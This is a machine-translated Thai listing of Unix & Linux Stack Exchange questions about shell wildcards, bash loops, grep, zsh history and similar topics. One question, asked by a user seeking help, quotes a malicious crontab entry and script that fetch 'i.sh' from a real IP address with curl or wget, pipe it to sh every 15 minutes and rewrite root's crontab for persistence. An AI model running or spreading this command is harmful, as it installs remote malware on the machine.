Unix & Linux

คำถาม & คำตอบสำหรับผู้ใช้ Linux, FreeBSD และระบบปฏิบัติการ Un * x อื่น ๆ

5
เหตุใดอักขระ wild card * จึงแตกต่างกันระหว่างคำสั่ง zip และ rm
ฉันรวบรวมสคริปต์เพื่อดำเนินการบางอย่างกับฉัน ฉันใช้โอเปอเรเตอร์การ์ด*เพื่อใช้ฟังก์ชั่นกับไฟล์ทุกประเภท แต่มีสิ่งหนึ่งที่ฉันไม่ได้รับ ฉันสามารถunzipไฟล์ทั้งหมดในโฟลเดอร์เช่นนี้ unzip "*".zip อย่างไรก็ตามในการลบไฟล์ zip ทั้งหมดหลังจากนั้นฉันต้องทำ rm *.zip นั่นคือมันไม่ต้องการเครื่องหมายคำพูด unzip ในทางกลับกันไม่สามารถใช้งานได้หากฉันให้ * (ให้คำเตือนว่า "ไฟล์ไม่ตรงกัน") ทำไมถึงแตกต่างกัน? สำหรับฉันดูเหมือนว่าการดำเนินการเดียวกันแน่นอน หรือฉันใช้การ์ดไวด์ไม่ถูกต้อง? การแนะนำให้รู้จักกับไวด์การ์ดใน Unix นั้นไม่ได้ทำสิ่งนี้จริงๆและฉันไม่สามารถหาตำแหน่งใด ๆ ในเอกสารrmหรือzip ฉันใช้เทอร์มินัลกับ Mac (Yosemite)
58 shell  wildcards  rm  zip 


3
ใช้ & (เครื่องหมายแอมเปอร์แซนด์) ในการวนซ้ำบรรทัดเดียว
ฉันใช้คำสั่งนี้เรียบร้อยแล้วซึ่งเปลี่ยนตัวแปรในไฟล์ปรับแต่งแล้วเรียกใช้งานสคริปต์ Python ภายในลูป: for((i=114;i<=255;i+=1)); do echo $i > numbers.txt;python DoMyScript.py; done เนื่องจากDoMyScript.pyตัวมันเองใช้เวลาประมาณ 30 วินาทีในการวิ่งก่อนที่จะยุติฉันต้องการผลักไสพวกมันให้เป็นแบ็คกราวน์ในขณะที่อีกอันสามารถเกิดใหม่ได้ ฉันได้ลองสิ่งที่ฉันคุ้นเคยแล้วโดยเพิ่มแอมเปอร์แซนด์เป็นด้านล่าง: for((i=114;i<=255;i+=1)); do echo $i > numbers.txt;python DoMyScript.py &; done อย่างไรก็ตามผลลัพธ์นี้มีข้อผิดพลาดด้านล่าง: -bash: ข้อผิดพลาดทางไวยากรณ์ใกล้โทเค็นที่ไม่คาดคิด `; '

6
แสดงปีขณะที่แสดงรายการไฟล์ในไดเรกทอรีปัจจุบัน
ฉันกำลังทำงานบนเซิร์ฟเวอร์ Red Hat คำสั่งls -lหรือให้ฉันวันที่และเวลาในรูปแบบll+"%b %-d %H:%M" ฉันต้องการแสดงรายการไฟล์ในลักษณะที่ปีที่ไฟล์แต่ละไฟล์ถูกสร้างขึ้นจะปรากฏขึ้นภายในวันที่ เป็นไปได้อย่างไร?

6
ปิดใช้งานเชลล์ผู้ใช้เพื่อเหตุผลด้านความปลอดภัย
เรามีบัญชีผู้ใช้หลายบัญชีที่เราสร้างขึ้นสำหรับงานอัตโนมัติที่ต้องได้รับอนุญาตอย่างละเอียดเช่นการถ่ายโอนไฟล์ข้ามระบบการตรวจสอบและอื่น ๆ เราจะล็อคบัญชีผู้ใช้เหล่านี้อย่างไรเพื่อให้ "ผู้ใช้" เหล่านี้ไม่มีเชลล์และไม่สามารถเข้าสู่ระบบได้? เราต้องการป้องกันความเป็นไปได้ที่บางคนสามารถใช้ SSH เป็นหนึ่งในบัญชีผู้ใช้เหล่านี้
58 shell  ssh  users  login 


8
การแปลงเอาต์พุตสีเป็น html
มีเครื่องมือที่ให้ผลลัพธ์เป็นสี: dwdiff -c File1 File2 # word level diff grep --color=always # we all know this guy ... คำถามคือวิธีการแปลงเอาท์พุทสีของโปรแกรมโดยพลการเป็นไฟล์ html สี? รูปแบบเอาต์พุตอื่น ๆ อาจเหมาะสมเช่นกัน (LaTeX น่าจะยอดเยี่ยม) ฉันคิดว่า html นั้นเป็นจุดเริ่มต้นที่ดีเพราะมันง่ายที่จะแปลงเป็นรูปแบบอื่น (สำหรับอยากรู้วิธีเก็บรหัสสีของเทอร์มินัลโปรดทำตามคำตอบ: https://unix.stackexchange.com/a/10832/9689 ... | unbuffer command_with_colours arg1 arg2 | ...เครื่องมือunbufferเป็นส่วนหนึ่งของความคาดหวัง )

5
สีสีน้ำเงินเข้มเป็นกลุ่มหรือเป็นเอาท์พุตใน linux
ฉันมีปัญหากับการใส่vimหรือlsส่งออกสีน้ำเงินเข้ม เพราะฉันใช้สีพื้นหลังสีดำคำที่ใช้สีสีน้ำเงินเข้มแทบจะมองไม่เห็นเลย ฉันจะแก้ไขปัญหานี้ได้อย่างไร
58 terminal  colors 

3
grep ภายในน้อยลงหรือไม่
ขณะนี้ฉันกำลังตรวจสอบบันทึกที่ไม่คุ้นเคยจำนวนมากเพื่อค้นหาปัญหาบางอย่าง ไฟล์แรกที่ฉันดูคือ Events.log และฉันได้รับอย่างน้อยสามหน้าlessซึ่งดูเหมือนจะแสดงเหตุการณ์เดียวกันในเวลาที่ต่างกัน - เหตุการณ์ที่ดูเหมือนจะไม่เป็นธรรม ฉันต้องการที่จะกรองเหตุการณ์นี้ออกและตอนนี้ฉันออกlessและทำอะไรบางอย่างเช่น grep -v "event text" Events.log | less ตอนนี้นำเหตุการณ์ทั่วไปที่ไม่น่าสนใจอื่น ๆ จำนวนมากที่ฉันต้องการกรองออก มีวิธีที่ฉันสามารถgrep -v อยู่ข้างในของless? แทนที่จะต้องทำ egrep -v "event text|something else|the other thing|foo|bar" Events.log | less มันทำให้ฉันเป็นคุณลักษณะที่มีประโยชน์เมื่อดูแฟ้มบันทึกชนิดใด - และถ้าlessไม่ใช่เครื่องมือมีคุณสมบัติอื่นที่ฉันต้องการหรือไม่ เพียงแค่lessผู้ชมสไตล์ที่มีในgrepตัว
58 bash  grep  logs  less 

2
grep กับตัวแปร
สมมติว่าฉันมีตัวแปร line="This is where we select from a table." ตอนนี้ฉันต้องการ grep เลือกกี่ครั้งเกิดขึ้นในประโยค grep -ci "select" $line ฉันลองมัน แต่มันใช้งานไม่ได้ ฉันก็ลอง grep -ci "select" "$line" มันยังไม่ทำงาน ฉันได้รับข้อผิดพลาดดังต่อไปนี้ grep: This is where we select from a table.: No such file or directory
58 shell  grep  string 

4
รายการไดเรกทอรีย่อยเพียงระดับลึก
เทศกาลจัดเก็บข้อมูล voicepack ในโครงสร้างไดเรกทอรีตัวอย่างต่อไปนี้: /usr/share/festival/voices/<language>/<voicepack name> หนึ่งซับที่ง่ายที่สุด (ควรใช้ls) ในการพิมพ์เฉพาะ<voicepack name>ในทุก<language>ไดเรกทอรีย่อยที่อาจเกิดขึ้นคืออะไร?
58 bash  ls 

11
ฉันจะค้นหาประวัติด้วยข้อความที่ป้อนไว้แล้วที่พร้อมท์ใน zsh ได้อย่างไร
ใน zsh, ฉันรู้ว่าฉันสามารถค้นหาประวัติกับ+Ctrl rอย่างไรก็ตามบ่อยครั้งที่ฉันเริ่มพิมพ์คำสั่งโดยตรงที่พรอมต์ แต่จากนั้นตระหนักว่าฉันควรจะค้นหาประวัติ เมื่อฉันกดCtrl+ rมันจะแสดงพรอมต์การค้นหาประวัติว่างดังนี้: แจ้งให้ทราบว่ามีข้อความที่ฉันแจ้งให้ แต่ไม่ได้ที่แจ้งให้ค้นหาประวัติ ฉันจะเริ่มการค้นหาประวัติด้วยข้อความที่มีอยู่ในพร้อมท์แล้วได้ดังนั้นจะมีลักษณะเช่นนี้:

3
วิธีการสร้างไดเรกทอรีต้นไม้เอาท์พุทเท่านั้น?
150 ไดเรกทอรีที่ฉันสามารถจัดการได้ แต่ 900 ไฟล์มีมากเกินไปสำหรับการตรวจสอบ ฉันไม่มีรายการบันทึกด้วยตนเองtreeดังนั้นฉันอาจถามคุณว่าคุณรู้วิธีส่งออกเฉพาะไดเรกทอรีหรือไม่เนื่องจากไฟล์มีรายละเอียดมากเกินไป . ├── agreement.htm ├── appengine_admin │ ├── admin_forms.py │ ├── admin_forms.pyc │ ├── admin_settings.py │ ├── admin_settings.pyc │ ├── admin_widgets.py │ ├── admin_widgets.pyc │ ├── authorized.py │ ├── authorized.pyc │ ├── db_extensions.py │ ├── encoding.py │ ├── __init__.py │ ├── __init__.pyc │ ├── media …

6
คว้าตัวอักษร [x] ตัวแรกสำหรับสตริงจากไพพ์
หากฉันมีเอาต์พุตที่ยาวมากจากคำสั่ง (บรรทัดเดียว) แต่ฉันรู้ว่าฉันต้องการเพียงแค่ [x] (สมมติว่า 8) ตัวอักษรของเอาต์พุตเป็นวิธีที่ง่ายที่สุดในการรับสิ่งนั้น ไม่มีตัวคั่นใด ๆ

2
รายการ crontab ที่น่าสงสัยที่เรียกใช้ 'xribfa4' ทุก 15 นาที
ฉันต้องการเพิ่มบางอย่างลงในไฟล์ root crontab ของฉันใน Raspberry Pi ของฉันและพบรายการที่น่าสงสัยสำหรับฉันการค้นหาบางส่วนของมันบน Google ไม่ได้ทำอะไรเลย รายการ Crontab: */15 * * * * (/usr/bin/xribfa4||/usr/libexec/xribfa4||/usr/local/bin/xribfa4||/tmp/xribfa4||curl -m180 -fsSL http://103.219.112.66:8000/i.sh||wget -q -T180 -O- http://103.219.112.66:8000/i.sh) | sh เนื้อหาของhttp://103.219.112.66:8000/i.shคือ: export PATH=$PATH:/bin:/usr/bin:/usr/local/bin:/usr/sbin mkdir -p /var/spool/cron/crontabs echo "" > /var/spool/cron/root echo "*/15 * * * * (/usr/bin/xribfa4||/usr/libexec/xribfa4||/usr/local/bin/xribfa4||/tmp/xribfa4||curl -fsSL -m180 http://103.219.112.66:8000/i.sh||wget -q -T180 -O- http://103.219.112.66:8000/i.sh) …
58 security  cron  malware 

โดยการใช้ไซต์ของเรา หมายความว่าคุณได้อ่านและทำความเข้าใจนโยบายคุกกี้และนโยบายความเป็นส่วนตัวของเราแล้ว
Licensed under cc by-sa 3.0 with attribution required.